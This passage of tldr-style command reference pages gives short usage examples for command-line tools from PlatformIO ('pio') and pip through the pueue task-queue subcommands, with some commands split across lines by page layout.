• Remove a specific version of a published package from the registry:

pio package unpublish {{package_name}}@{{version}}

• Undo the removal, putting all versions or a specific version of the package back
into the registry:

pio package unpublish --undo {{package_name}}@{{version}}


pio platform
Manage PlatformIO development platforms.

More information: https://docs.platformio.org/en/latest/core/userguide/platforms/.

• List all installed development platforms:

pio platform list

• Search for existing development platforms:

pio platform search {{platform}}

• Show details about a development platform:

pio platform show {{platform}}

• Install a development platform:

pio platform install {{platform}}

• Update installed development platforms:

pio platform update

• Uninstall a development platform:

pio platform uninstall {{platform}}

• List all supported frameworks:

pio platform frameworks


pio project
Tool to manage PlatformIO projects.

More information: https://docs.platformio.org/en/latest/core/userguide/project/.

• Initialize a new PlatformIO project:

pio project init

• Initialize a new PlatformIO project in a specific directory:

pio project init --project-dir {{path/to/project_directory}}

• Initialize a new PlatformIO project, specifying a board ID:

pio project init --board {{ATmega328P|uno|...}}

• Initialize a new PlatformIO based project, specifying one or more project options:

pio project init --project-option="{{option}}={{value}}" --


project-option="{{option}}={{value}}"

• Print the configuration of a project:

pio project config


pio remote
Helper command for PlatformIO Remote Development.

pio remote [command] takes the same arguments as its locally executing
counterpart pio [command].

More information: https://docs.platformio.org/en/latest/core/userguide/remote/


index.html.

• List all active Remote Agents:

pio remote agent list

• Start a new Remote Agent with a specific name and share it with friends:

pio remote agent start --name {{agent_name}} --share


{{example1@example.com}} --share {{example2@example.com}}

• List devices from specified Agents (omit --agent to specify all Agents):

pio remote --agent {{agent_name1}} --agent {{agent_name2}}


device list

• Connect to the serial port of a remote device:

pio remote --agent {{agent_name}} device monitor

• Run all targets on a specified Agent:

pio remote --agent {{agent_name}} run

• Update installed core packages, development platforms and global libraries on a


specific Agent:

pio remote --agent {{agent_name}} update

• Run all tests in all environments on a specific Agent:

pio remote --agent {{agent_name}} test


pio run
Run PlatformIO project targets.

More information: https://docs.platformio.org/en/latest/core/userguide/cmd_run.html.

• List all available project targets:

pio run --list-targets

• List all available project targets of a specific environment:

pio run --list-targets --environment {{environment}}

• Run all targets:

pio run

• Run all targets of specified environments:

pio run --environment {{environment1}} --environment


{{environment2}}

• Run specified targets:

pio run --target {{target1}} --target {{target2}}

• Run the targets of a specified configuration file:

pio run --project-conf {{path/to/platformio.ini}}


pio settings
View and modify PlatformIO settings.

More information: https://docs.platformio.org/en/latest/core/userguide/


cmd_settings.html.

• Display the names, values and descriptions of all PlatformIO settings:

pio settings get

• Display the name, value and description of a specific PlatformIO setting:

pio settings get {{setting}}

• Set a specific setting value:

pio settings set {{setting}} {{value}}

• Reset the values of all modified settings to their factory defaults:

pio settings reset


pio system
Miscellaneous system commands for PlatformIO.

More information: https://docs.platformio.org/en/latest/core/userguide/system/.

• Install shell completion for the current shell (supports Bash, Fish, Zsh and
PowerShell):

pio system completion install

• Uninstall shell completion for the current shell:

pio system completion uninstall

• Display system-wide PlatformIO information:

pio system info

• Remove unused PlatformIO data:

pio system prune

• Remove only cached data:

pio system prune --cache

• List unused PlatformIO data that would be removed but do not actually remove it:

pio system prune --dry-run


pio team
Manage PlatformIO teams.

More information: https://docs.platformio.org/en/latest/core/userguide/team/.

• Create a new team with the specified description:

pio team create --description {{description}}


{{organization_name}}:{{team_name}}

• Delete a team:

pio team destroy {{organization_name}}:{{team_name}}

• Add a new user to a team:

pio team add {{organization_name}}:{{team_name}} {{username}}

• Remove a user from a team:

pio team remove {{organization_name}}:{{team_name}}


{{username}}

• List all teams that the user is part of and their members:

pio team list

• List all teams in an organization:

pio team list {{organization_name}}

• Rename a team:

pio team update --name {{new_team_name}}


{{organization_name}}:{{team_name}}

• Change the description of a team:

pio team update --description {{new_description}}


{{organization_name}}:{{team_name}}
pio test
Run local tests on a PlatformIO project.

More information: https://docs.platformio.org/en/latest/core/userguide/cmd_test.html.

• Run all tests in all environments of the current PlatformIO project:

pio test

• Test only specific environments:

pio test --environment {{environment1}} --environment


{{environment2}}

• Run only tests whose name matches a specific glob pattern:

pio test --filter "{{pattern}}"

• Ignore tests whose name matches a specific glob pattern:

pio test --ignore "{{pattern}}"

• Specify a port for firmware uploading:

pio test --upload-port {{upload_port}}

• Specify a custom configuration file for running the tests:

pio test --project-conf {{path/to/platformio.ini}}


pio update
Update installed PlatformIO Core packages, development platforms and global libraries.

See also: pio platform update, pio lib update.

More information: https://docs.platformio.org/en/latest/core/userguide/


cmd_update.html.

• Perform a full update of all packages, development platforms and global libraries:

pio update

• Update core packages only (skips platforms and libraries):

pio update --core-packages

• Check for new versions of packages, platforms and libraries but do not actually
update them:

pio update --dry-run


pio upgrade
Update PlatformIO to the latest version.

More information: https://docs.platformio.org/en/latest/core/userguide/


cmd_upgrade.html.

• Update PlatformIO to the latest version:

pio upgrade

• Update PlatformIO to the latest development (unstable) version:

pio upgrade --dev


pio
Development environment for embedded boards.

Some subcommands such as pio run have their own usage documentation.

More information: https://docs.platformio.org/en/latest/core/userguide/.

• Show help and list subcommands:

pio --help

• Print the version number and exit:

pio --version

• Show help for a specific subcommand:

pio {{subcommand}} --help


piodebuggdb
This command is an alias of pio debug --interface=gdb.

• View documentation for the original command:

tldr pio debug


pip install
Install Python packages.

More information: https://pip.pypa.io.

• Install a package:

pip install {{package_name}}

• Install a specific version of a package:

pip install {{package_name}}=={{package_version}}

• Install packages listed in a file:

pip install --requirement {{path/to/requirements.txt}}

• Install packages from an URL or local file archive (.tar.gz | .whl):

pip install --find-links {{url|path/to/file}}

• Install the local package in the current directory in develop (editable) mode:

pip install --editable {{.}}


pip uninstall
Uninstall Python packages.

More information: https://pip.pypa.io.

• Uninstall a package:

pip uninstall {{package_name}}

• Uninstall packages listed in a specific file:

pip uninstall --requirement {{path/to/requirements.txt}}

• Uninstall package without asking for confirmation:

pip uninstall --yes {{package_name}}


pip
Python package manager.

Some subcommands such as pip install have their own usage documentation.

More information: https://pip.pypa.io.

• Install a package (see pip install for more install examples):

pip install {{package_name}}

• Install a package to the user's directory instead of the system-wide default


location:

pip install --user {{package}}

• Upgrade a package:

pip install --upgrade {{package_name}}

• Uninstall a package:

pip uninstall {{package_name}}

• Save installed packages to file:

pip freeze > {{requirements.txt}}

• Show installed package info:

pip show {{package_name}}


pip3
Python package manager.

More information: https://pip.pypa.io.

• Find available packages:

pip3 search {{package_name}}

• Install a package:

pip3 install {{package_name}}

• Install a specific version of a package:

pip3 install {{package_name}}=={{package_version}}

• Upgrade a package:

pip3 install --upgrade {{package_name}}

• Uninstall a package:

pip3 uninstall {{package_name}}

• Save the list of installed packages to a file:

pip3 freeze > {{requirements.txt}}

• Install packages from a file:

pip3 install --requirement {{requirements.txt}}

• Show installed package info:

pip3 show {{package_name}}


pipenv
Simple and unified Python development workflow.

Manages packages and the virtual environment for a project.

More information: https://pypi.org/project/pipenv.

• Create a new project:

pipenv

• Create a new project using Python 3:

pipenv --three

• Install a package:

pipenv install {{package_name}}

• Install all the dependencies for a project:

pipenv install

• Install all the dependencies for a project (including dev packages):

pipenv install --dev

• Uninstall a package:

pipenv uninstall {{package_name}}

• Start a shell within the created virtual environment:

pipenv shell

• Generate a requirements.txt (list of dependencies) for a project:

pipenv lock --requirements


pipx
Install and run python applications in isolated environments.

More information: https://github.com/pipxproject/pipx.

• Run an app in a temporary virtual environment:

pipx run {{pycowsay}} {{moo}}

• Install a package in a virtual environment and add entry points to path:

pipx install {{package}}

• List installed packages:

pipx list

• Run an app in a temporary virtual environment with a package name different


from the executable:

pipx run --spec {{httpx-cli}} {{httpx}} {{http://


www.github.com}}
pixiecore
Tool to manage the network booting of machines.

More information: https://github.com/danderson/netboot/tree/master/pixiecore.

• Start a PXE boot server which provides a netboot.xyz boot image:

pixiecore {{quick}} xyz --dhcp-no-bind

• Start a new PXE boot server which provides an Ubuntu boot image:

pixiecore {{quick}} ubuntu --dhcp-no-bind

• Get a list of all available boot images for quick mode:

pixiecore quick --help


pkill
Signal process by name.

Mostly used for stopping processes.

More information: https://www.man7.org/linux/man-pages/man1/pkill.1.html.

• Kill all processes which match:

pkill "{{process_name}}"

• Kill all processes which match their full command instead of just the process
name:

pkill -f "{{command_name}}"

• Force kill matching processes (can't be blocked):

pkill -9 "{{process_name}}"

• Send SIGUSR1 signal to processes which match:

pkill -USR1 "{{process_name}}"

• Kill the main firefox process to close the browser:

pkill --oldest "{{firefox}}"


plantuml
Create UML diagrams from a plain text language and render them in different formats.

More information: https://plantuml.com/en/command-line.

• Render diagrams to default format (PNG):

plantuml {{diagram1.puml}} {{diagram2.puml}}

• Render a diagram in given format (e.g. png, pdf, svg, txt):

plantuml -t {{format}} {{diagram.puml}}

• Render all diagrams of a directory:

plantuml {{path/to/diagrams}}

• Render a diagram to the output directory:

plantuml -o {{path/to/output}} {{diagram.puml}}

• Render a diagram with the configuration file:

plantuml -config {{config.cfg}} {{diagram.puml}}

• Display help:

plantuml -help
platformio
This command is an alias of pio.

More information: https://docs.platformio.org/en/latest/core/userguide/.

• View documentation for the original command:

tldr pio
play
Audio player of SoX - Sound eXchange.

Plays any audio from the command-line, with audio formats identified by the extension.

More information: http://sox.sourceforge.net.

• Play the given audio file:

play {{audiofile}}

• Play the given audio files:

play {{audiofile1}} {{audiofile2}}

• Play the given audio at twice the speed:

play {{audiofile}} speed 2.0

• Play the given audio in reverse:

play {{audiofile}} reverse


plenv
Switch between multiple versions of Perl.

More information: https://github.com/tokuhirom/plenv.

• Show the currently selected Perl version and how it was selected:

plenv version

• List all available installed Perl versions:

plenv versions

• Set the global Perl version (used unless a local or shell version takes priority):

plenv global {{version}}

• Set the local application-specific Perl version (used in the current directory and all
directories below it):

plenv local {{version}}

• Set the shell-specific Perl version (used for the current session only):

plenv shell {{version}}

• Display help:

plenv

• Display help for a command:

plenv help {{command}}


plesk
Plesk hosting control panel CLI interface.

More information: https://docs.plesk.com.

• Generate an auto login link for the admin user and print it:

plesk login

• Show product version information:

plesk version

• List all hosted domains:

plesk bin domain --list

• Start watching for changes in the panel.log file:

plesk log {{panel.log}}

• Start the interactive MySQL console:

plesk db

• Open the Plesk main configuration file in the default editor:

plesk conf {{panel.ini}}


pm2
Process manager for Node.js.

Used for log management, monitoring and configuring processes.

More information: https://pm2.keymetrics.io.

• Start a process with a name that can be used for later operations:

pm2 start {{app.js}} --name {{myapp}}

• List processes:

pm2 list

• Monitor all processes:

pm2 monit

• Stop a process:

pm2 stop {{myapp}}

• Restart a process:

pm2 restart {{myapp}}

• Dump all processes for resurrecting them later:

pm2 save

• Resurrect previously dumped processes:

pm2 resurrect
pngcheck
Print detailed information about and verify PNG, JNG, and MNG files.

More information: http://www.libpng.org/pub/png/apps/pngcheck.html.

• Print a summary for an image (width, height, and color depth):

pngcheck {{image.png}}

• Print information for an image with [c]olorized output:

pngcheck -c {{image.png}}

• Print [v]erbose information for an image:

pngcheck -cvt {{image.png}}

• Receive an image from stdin and display detailed information:

cat {{path/to/image.png}} | pngcheck -cvt

• [s]earch for PNGs within a specific file and display information about them:

pngcheck -s {{image.png}}

• Search for PNGs within another file and e[x]tract them:

pngcheck -x {{image.png}}
pngcrush
PNG compression utility.

More information: https://pmt.sourceforge.io/pngcrush.

• Compress a PNG file:

pngcrush {{in.png}} {{out.png}}

• Compress all PNGs and output them to the specified directory:

pngcrush -d {{path/to/output}} *.png

• Compress PNG file with all 114 available algorithms and pick the best result:

pngcrush -rem allb -brute -reduce {{in.png}} {{out.png}}


pnpm
Fast, disk space efficient package manager for Node.js.

Manage Node.js projects and their module dependencies.

More information: https://pnpm.io.

• Interactively create a package.json file:

pnpm init

• Download all the packages listed as dependencies in package.json:

pnpm install

• Download a specific version of a package and add it to the list of dependencies in


package.json:

pnpm install {{module_name}}@{{version}}

• Download a package and add it to the list of dev dependencies in package.json:

pnpm install --dev {{module_name}}

• Download a package and install it globally:

pnpm install -g {{module_name}}

• Uninstall a package and remove it from the list of dependencies in


package.json:

pnpm uninstall {{module_name}}

• Print a tree of locally installed modules:

pnpm list

• List top-level [g]lobally installed modules:

pnpm list -g --depth={{0}}


pnpx
Directly execute binaries from npm packages, using pnpm instead of npm.

More information: https://pnpm.io/pnpx-cli.

• Execute the binary from a given npm module:

pnpx {{module_name}}

• Execute a specific binary from a given npm module, in case the module has
multiple binaries:

pnpx --package {{package_name}} {{module_name}}

• Display help:

pnpx --help
podman
Simple management tool for pods, containers and images.

Podman provides a Docker-CLI comparable command-line. Simply put: alias


docker=podman.

More information: https://github.com/containers/podman/blob/main/commands-


demo.md.

• Print out information about containers:

podman ps

• List all containers (both running and stopped):

podman ps --all

• Start one or more containers:

podman start {{container_name}} {{container_id}}

• Stop one or more running containers:

podman stop {{container_name}} {{container_id}}

• Pull an image from a registry (defaults to the Docker Hub):

podman pull {{image_name}}:{{image_tag}}

• Open a shell inside an already running container:

podman exec --interactive --tty {{container_name}} {{sh}}

• Remove one or more stopped containers:

podman rm {{container_name}} {{container_id}}

• Display the logs of one or more containers and follow log output:

podman logs --follow {{container_name}} {{container_id}}


poetry
Manage Python packages and dependencies.

More information: https://python-poetry.org/docs.

• Create a new Poetry project in the directory with a specific name:

poetry new {{project_name}}

• Install a dependency and its subdependencies:

poetry add {{dependency}}

• Install a development dependency and its subdependencies:

poetry add --dev {{dependency}}

• Interactively initialize the current directory as a new Poetry project:

poetry init

• Get the latest version of all dependencies and update poetry.lock:

poetry update

• Execute a command inside the project's virtual environment:

poetry run {{command}}


popd
Remove a directory placed on the directory stack via the pushd shell built-in.

See also pushd to place a directory on the stack and dirs to display directory stack
contents.

• Remove the top directory from the stack and cd to it:

popd

• Remove the Nth directory (starting from zero to the left from the list printed with
dirs):

popd +N

• Remove the Nth directory (starting from zero to the right from the list printed
with dirs):

popd -N
popeye
Utility that reports potential issues with Kubernetes deployment manifests.

More information: https://github.com/derailed/popeye.

• Scan the current Kubernetes cluster:

popeye

• Scan a specific namespace:

popeye -n {{namespace}}

• Scan specific Kubernetes context:

popeye --context={{context}}

• Use a spinach configuration file for scanning:

popeye -f {{spinach.yaml}}
postcss
PostCSS is a tool for transforming styles with JS plugins.

More information: https://postcss.org.

• Parse and transform a CSS file:

postcss {{path/to/file}}

• Parse and transform a CSS file and output to a specific file:

postcss {{path/to/file}} --output {{path/to/file}}

• Parse and transform a CSS file and output to a specific directory:

postcss {{path/to/file}} --dir {{path/to/directory}}

• Parse and transform a CSS file in-place:

postcss {{path/to/file}} --replace

• Specify a custom PostCSS parser:

postcss {{path/to/file}} --parser {{parser}}

• Specify a custom PostCSS syntax:

postcss {{path/to/file}} --syntax {{syntax}}

• Watch for changes to a CSS file:

postcss {{path/to/file}} --watch

• Display available options and examples:

postcss --help
pppd
Establish Point-to-Point connection to another computer.

It should not be invoked manually.

More information: https://ppp.samba.org/pppd.html.

• Start the daemon:

pppd
pprof
Command-line tool for visualization and analysis of profile data.

More information: https://github.com/google/pprof.

• Generate a text report from a specific profiling file, on fibbo binary:

pprof -top {{./fibbo}} {{./fibbo-profile.pb.gz}}

• Generate a graph and open it on a web browser:

pprof -svg {{./fibbo}} {{./fibbo-profile.pb.gz}}

• Run pprof in interactive mode to be able to manually launch pprof on a file:

pprof {{./fibbo}} {{./fibbo-profile.pb.gz}}

• Run a web server that serves a web interface on top of pprof:

pprof -http={{localhost:8080}} {{./fibbo}} {{./fibbo-


profile.pb.gz}}

• Fetch a profile from an HTTP server and generate a report:

pprof {{http://localhost:8080/debug/pprof}}
pr
Paginate or columnate files for printing.

More information: https://www.gnu.org/software/coreutils/pr.

• Print multiple files with a default header and footer:

pr {{file1}} {{file2}} {{file3}}

• Print with a custom centered header:

pr -h "{{header}}" {{file1}} {{file2}} {{file3}}

• Print with numbered lines and a custom date format:

pr -n -D "{{format}}" {{file1}} {{file2}} {{file3}}

• Print all files together, one in each column, without a header or footer:

pr -m -T {{file1}} {{file2}} {{file3}}

• Print, beginning at page 2 up to page 5, with a given page length (including header
and footer):

pr +{{2}}:{{5}} -l {{page_length}} {{file1}} {{file2}}


{{file3}}

• Print with an offset for each line and a truncating custom page width:

pr -o {{offset}} -W {{width}} {{file1}} {{file2}} {{file3}}


pre-commit
Create Git hooks that get run before a commit.

More information: https://pre-commit.com.

• Install pre-commit into your Git hooks:

pre-commit install

• Run pre-commit hooks on all staged files:

pre-commit run

• Run pre-commit hooks on all files, staged or unstaged:

pre-commit run --all-files

• Clean pre-commit cache:

pre-commit clean
prettier
An opinionated code formatter for JavaScript, JSON, CSS, YAML, and more.

More information: https://prettier.io/.

• Format a file and print the result to stdout:

prettier {{path/to/file}}

• Check if a specific file has been formatted:

prettier --check {{path/to/file}}

• Run with a specific configuration file:

prettier --config {{path/to/config_file}} {{path/to/file}}

• Format a file or directory, replacing the original:

prettier --write {{path/to/file_or_directory}}

• Format files or directories recursively using single quotes and no trailing commas:

prettier --single-quote --trailing-comma {{none}} --write


{{path/to/file_or_directory}}
pretty-bytes
Convert bytes to a human-readable string.

More information: https://github.com/sindresorhus/pretty-bytes-cli.

• Convert numeric bytes value to a human-readable string:

pretty-bytes {{1337}}

• Convert numeric bytes value from stdin to a human-readable string:

echo {{1337}} | pretty-bytes

• Display help and usage information:

pretty-bytes --help
printenv
Print values of all or specific environment variables.

More information: https://www.gnu.org/software/coreutils/printenv.

• Display key-value pairs of all environment variables:

printenv

• Display the value of a specific variable:

printenv {{HOME}}

• Display the value of a variable and end with NUL instead of newline:

printenv --null {{HOME}}


printf
Format and print text.

More information: https://www.gnu.org/software/coreutils/printf.

• Print a text message:

printf "{{%s\n}}" "{{Hello world}}"

• Print an integer in bold blue:

printf "{{\e[1;34m%.3d\e[0m\n}}" {{42}}

• Print a float number with the Unicode Euro sign:

printf "{{\u20AC %.2f\n}}" {{123.4}}

• Print a text message composed with environment variables:

printf "{{var1: %s\tvar2: %s\n}}" "{{$VAR1}}" "{{$VAR2}}"

• Store a formatted message in a variable (does not work on zsh):

printf -v {{myvar}} {{"This is %s = %d\n" "a year" 2016}}


progpilot
A PHP static analysis tool for detecting security vulnerabilities.

More information: https://github.com/designsecurity/progpilot.

• Analyse the current directory:

progpilot

• Analyse a specific file or directory:

progpilot {{path/to/file_or_directory}}

• Specify a custom configuration file:

progpilot --configuration {{path/to/configuration.yml}}


promtool
Tooling for the Prometheus monitoring system.

More information: https://prometheus.io/docs/prometheus/latest/getting_started/.

• Check if the config files are valid or not (if present report errors):

promtool check config {{config_file.yml}}

• Check if the rule files are valid or not (if present report errors):

promtool check rules {{rules_file.yml}}

• Pass Prometheus metrics over stdin to check them for consistency and
correctness:

curl --silent {{http://example.com:9090/metrics/}} | promtool


check metrics

• Unit tests for rules config:

promtool test rules {{test_file.yml}}


prosodyctl
The control tool for the Prosody XMPP server.

More information: https://prosody.im/doc/prosodyctl.

• Show the status of the Prosody server:

sudo prosodyctl status

• Reload the server's configuration files:

sudo prosodyctl reload

• Add a user to the Prosody XMPP server:

sudo prosodyctl adduser {{user@example.com}}

• Set a user's password:

sudo prosodyctl passwd {{user@example.com}}

• Permanently delete a user:

sudo prosodyctl deluser {{user@example.com}}


protector
Protect or unprotect branches on GitHub repositories.

More information: https://github.com/jcgay/protector.

• Protect branches of a GitHub repository (create branch protection rules):

protector {{branches_regex}} -repos {{organization/


repository}}

• Use the dry run to see what would be protected (can also be used for freeing):

protector -dry-run {{branches_regex}} -repos {{organization/


repository}}

• Free branches of a GitHub repository (delete branch protection rules):

protector -free {{branches_regex}} -repos {{organization/


repository}}
protoc
Parse Google Protobuf .proto files and generate output in the specified language.

More information: https://developers.google.com/protocol-buffers.

• Generate Python code from a .proto file:

protoc --python_out={{path/to/output_directory}}
{{input_file.proto}}

• Generate Java code from a .proto file that imports other .proto files:

protoc --java_out={{path/to/output_directory}} --
proto_path={{path/to/import_search_path}}
{{input_file.proto}}

• Generate code for multiple languages:

protoc --csharp_out={{path/to/c#_output_directory}} --
js_out={{path/to/js_output_directory}} {{input_file.proto}}
ps
Information about running processes.

More information: https://manned.org/ps.

• List all running processes:

ps aux

• List all running processes including the full command string:

ps auxww

• Search for a process that matches a string:

ps aux | grep {{string}}

• List all processes of the current user in extra full format:

ps --user $(id -u) -F

• List all processes of the current user as a tree:

ps --user $(id -u) f

• Get the parent PID of a process:

ps -o ppid= -p {{pid}}

• Sort processes by memory consumption:

ps --sort size
psalm
A static analysis tool for finding errors in PHP applications.

More information: https://psalm.dev.

• Generate a Psalm configuration:

psalm --init

• Analyse the current working directory:

psalm

• Analyse a specific directory or file:

psalm {{path/to/file_or_directory}}

• Analyse a project with a specific configuration file:

psalm --config {{path/to/psalm.xml}}

• Include informational findings in the output:

psalm --show-info

• Analyse a project and display statistics:

psalm --stats

• Analyse a project in parallel with 4 threads:

psalm --threads {{4}}


psgrep
Search running processes with grep.

More information: https://jvz.github.io/psgrep.

• Find process lines containing a specific string:

psgrep {{process_name}}

• Find process lines containing a specific string, excluding headers:

psgrep -n {{process_name}}

• Search using a simplified format (PID, user, command):

psgrep -s {{process_name}}
psql
PostgreSQL command-line client.

More information: https://www.postgresql.org/docs/current/app-psql.html.

• Connect to the database. It connects to localhost using default port 5432 with
default user as currently logged in user:

psql {{database}}

• Connect to the database on given server host running on given port with given
username, without a password prompt:

psql -h {{host}} -p {{port}} -U {{username}} {{database}}

• Connect to the database; user will be prompted for password:

psql -h {{host}} -p {{port}} -U {{username}} -W {{database}}

• Execute a single SQL query or PostgreSQL command on the given database (useful
in shell scripts):

psql -c '{{query}}' {{database}}

• Execute commands from a file on the given database:

psql {{database}} -f {{file.sql}}


pssh
Parallel SSH program.

More information: https://manned.org/pssh.

• Run a command on two hosts, and print its output on each server inline:

pssh -i -H "{{host1}} {{host2}}" {{hostname -i}}

• Run a command and save the output to separate files:

pssh -H {{host1}} -H {{host2}} -o {{path/to/output_dir}}


{{hostname -i}}

• Run a command on multiple hosts, specified in a new-line separated file:

pssh -i -h {{path/to/hosts_file}} {{hostname -i}}

• Run a command as root (this asks for the root password):

pssh -i -h {{path/to/hosts_file}} -A -l {{root_username}}


{{hostname -i}}

• Run a command with extra SSH arguments:

pssh -i -h {{path/to/hosts_file}} -x "{{-O


VisualHostKey=yes}}" {{hostname -i}}

• Run a command limiting the number of parallel connections to 10:

pssh -i -h {{path/to/hosts_file}} -p {{10}} '{{cd dir; ./


script.sh; exit}}'
psysh
A runtime developer console, interactive debugger and REPL for PHP.

More information: https://psysh.org.

• Open a shell in the current directory:

psysh

• Open a shell in a specific directory:

psysh --cwd {{path/to/directory}}

• Use a specific configuration file:

psysh --config {{path/to/file}}


pt
Platinum Searcher.

A code search tool similar to ag.

More information: https://github.com/monochromegane/the_platinum_searcher.

• Find files containing "foo" and print the files with highlighted matches:

pt {{foo}}

• Find files containing "foo" and display count of matches in each file:

pt -c {{foo}}

• Find files containing "foo" as a whole word and ignore its case:

pt -wi {{foo}}

• Find "foo" in files with a given extension using a regular expression:

pt -G='{{\.bar$}}' {{foo}}

• Find files whose contents match the regular expression, up to 2 directories deep:

pt --depth={{2}} -e '{{^ba[rz]*$}}'
ptargrep
Find regular expression patterns in one or more tar archive files.

More information: https://manned.org/ptargrep.

• Search for a pattern within a tar file:

ptargrep "{{search_pattern}}" {{path/to/file}}

• Search for a pattern within multiple files:

ptargrep "{{search_pattern}}" {{path/to/file1}} {{path/to/


file2}} {{path/to/file3}}

• Extract to the current directory using the basename of the file from the archive:

ptargrep --basename "{{search_pattern}}" {{path/to/file}}

• Search for a case-insensitive pattern matching within a tar file:

ptargrep --ignore-case "{{search_pattern}}" {{path/to/file}}


pueue add
Enqueue a task for execution.

More information: https://github.com/Nukesor/pueue.

• Add any command to the default queue:

pueue add {{command}}

• Pass a list of flags or arguments to a command when enqueuing:

pueue add -- {{command --arg -f}}

• Add a command but do not start it if it's the first in a queue:

pueue add --stashed -- {{rsync --archive --compress /local/


directory /remote/directory}}

• Add a command to a group and start it immediately, see pueue group to manage
groups:

pueue add --immediate --group "{{CPU_intensive}}" -- {{ffmpeg


-i input.mp4 frame_%d.png}}

• Add a command and start it after commands 9 and 12 finish successfully:

pueue add --after {{9}} {{12}} --group "{{torrents}}" --


{{transmission-cli torrent_file.torrent}}

• Add a command with a label after some delay has passed, see pueue enqueue for
valid datetime formats:

pueue add --label "{{compressing large file}}" --delay


"{{wednesday 10:30pm}}" -- "{{7z a compressed_file.7z
large_file.xml}}"
pueue clean
Remove all finished tasks from the list and clear logs.

More information: https://github.com/Nukesor/pueue.

• Remove finished tasks and clear logs:

pueue clean

• Only clean commands that finished successfully:

pueue clean --successful-only


pueue completions
Generates shell completion files for Bash, Elvish, Fish, PowerShell, and Zsh.

More information: https://github.com/Nukesor/pueue.

• Generate completions for Bash:

sudo pueue completions bash {{/usr/share/bash-completion/


completions/pueue.bash}}

• Generate completions for zsh:

sudo pueue completions zsh {{/usr/share/zsh/site-functions}}

• Generate completions for fish:

sudo pueue completions fish {{/usr/share/fish/completions}}


pueue edit
Edit the command or path of a stashed or queued task.

More information: https://github.com/Nukesor/pueue.

• Edit a task, see pueue status to get the task ID:

pueue edit {{task_id}}

• Edit the path from which a task is executed:

pueue edit {{task_id}} --path

• Edit a command with the specified editor:

EDITOR={{nano}} pueue edit {{task_id}}


pueue enqueue
Enqueue stashed tasks.

See also: pueue stash.

More information: https://github.com/Nukesor/pueue.

• Enqueue multiple stashed tasks at once:

pueue enqueue {{task_id}} {{task_id}}

• Enqueue a stashed task after 60 seconds:

pueue enqueue --delay {{60}} {{task_id}}

• Enqueue a stashed task next Wednesday:

pueue enqueue --delay {{wednesday}} {{task_id}}

• Enqueue a stashed task after four months:

pueue enqueue --delay "4 months" {{task_id}}

• Enqueue a stashed task on 2021-02-19:

pueue enqueue --delay {{2021-02-19}} {{task_id}}

• List all available date/time formats:

pueue enqueue --help


pueue follow
Follow the output of a currently running task.

See also: pueue log.

More information: https://github.com/Nukesor/pueue.

• Follow the output of a task (stdout + stderr):

pueue follow {{task_id}}

• Follow the stderr of a task:

pueue follow --err {{task_id}}


pueue group
Display, add or remove groups.

More information: https://github.com/Nukesor/pueue.

• Show all groups with their statuses and number of parallel jobs:

pueue group

• Add a custom group:

pueue group --add "{{group_name}}"

• Remove a group and move its tasks to the default group:

pueue group --remove "{{group_name}}"


pueue help
Display help for subcommands.

More information: https://github.com/Nukesor/pueue.

• Show all available subcommands and flags:

pueue help

• Show help for a specific subcommand:

pueue help {{subcommand}}


pueue kill
Kill running tasks or whole groups.

More information: https://github.com/Nukesor/pueue.

• Kill all tasks in the default group:

pueue kill

• Kill a specific task:

pueue kill {{task_id}}

• Kill a task and terminate all its child processes:

pueue kill --children {{task_id}}

• Kill all tasks in a group and pause the group:

pueue kill --group {{group_name}}

• Kill all tasks across all groups and pause all groups:

pueue kill --all


pueue log
Display the log output of 1 or more tasks.

See also: pueue status.

More information: https://github.com/Nukesor/pueue.

• Show the last few lines of output from all tasks:

pueue log

• Show the full output of a task:

pueue log {{task_id}}

• Show the last few lines of output from several tasks:

pueue log {{task_id}} {{task_id}}

• Print a specific number of lines from the tail of output:

pueue log --lines {{number_of_lines}} {{task_id}}


pueue parallel
Set the amount of allowed parallel tasks.

More information: https://github.com/Nukesor/pueue.

• Set the maximum number of tasks allowed to run in parallel, in the default group:

pueue parallel {{max_number_of_parallel_tasks}}

• Set the maximum number of tasks allowed to run in parallel, in a specific group:

pueue parallel --group {{group_name}}


{{maximum_number_of_parallel_tasks}}
pueue pause
Pause running tasks or groups.

See also: pueue start.

More information: https://github.com/Nukesor/pueue.

• Pause all tasks in the default group:

pueue pause

• Pause a running task:

pueue pause {{task_id}}

• Pause a running task and stop all its direct children:

pueue pause --children {{task_id}}

• Pause all tasks in a group and prevent it from starting new tasks:

pueue pause --group {{group_name}}

• Pause all tasks and prevent all groups from starting new tasks:

pueue pause --all


pueue remove
Remove tasks from the list. Running or paused tasks need to be killed first.

More information: https://github.com/Nukesor/pueue.

• Remove a killed or finished task:

pueue remove {{task_id}}

• Remove multiple tasks at once:

pueue remove {{task_id}} {{task_id}}


pueue reset
Kill everything and reset.

More information: https://github.com/Nukesor/pueue.

• Kill all tasks and remove everything (logs, status, groups, task IDs):

pueue reset

• Kill all tasks, terminate their children, and reset everything:

pueue reset --children

• Reset without asking for confirmation:

pueue reset --force


pueue restart
Restart tasks.

More information: https://github.com/Nukesor/pueue.

• Restart a specific task:

pueue restart {{task_id}}

• Restart multiple tasks at once, and start them immediately (do not enqueue):

pueue restart --start-immediately {{task_id}} {{task_id}}

• Restart a specific task from a different path:

pueue restart --edit-path {{task_id}}

• Edit a command before restarting:

pueue restart --edit {{task_id}}

• Restart a task in-place (without enqueuing as a separate task):

pueue restart --in-place {{task_id}}

• Restart all failed tasks and stash them:

pueue restart --all-failed --stashed


pueue send
Send input to a task.

More information: https://github.com/Nukesor/pueue.

• Send input to a running command:

pueue send {{task_id}} "{{input}}"

• Send confirmation to a task expecting y/N (e.g. apt, cp):

pueue send {{task_id}} {{y}}


pueue shutdown
Remotely shut down the daemon.

Only use this subcommand if the daemon isn't started by a service manager.

More information: https://github.com/Nukesor/pueue.

• Shutdown the daemon without a service manager:

pueue shutdown
pueue start
Resume operation of specific tasks or groups of tasks.

See also: pueue pause.

More information: https://github.com/Nukesor/pueue.

• Resume all tasks in the default group:

pueue start

• Resume a specific task:

pueue start {{task_id}}

• Resume multiple tasks at once:

pueue start {{task_id}} {{task_id}}

• Resume all tasks and start their children:

pueue start --all --children

• Resume all tasks in a specific group:

pueue start group {{group_name}}


pueue stash
Stash tasks to prevent them starting automatically.

See also pueue start and pueue enqueue.

More information: https://github.com/Nukesor/pueue.

• Stash an enqueued task:

pueue stash {{task_id}}

• Stash multiple tasks at once:

pueue stash {{task_id}} {{task_id}}

• Start a stashed task immediately:

pueue start {{task_id}}

• Enqueue a task to be executed when preceding tasks finish:

pueue enqueue {{task_id}}


pueue status
Display the current status of all tasks.

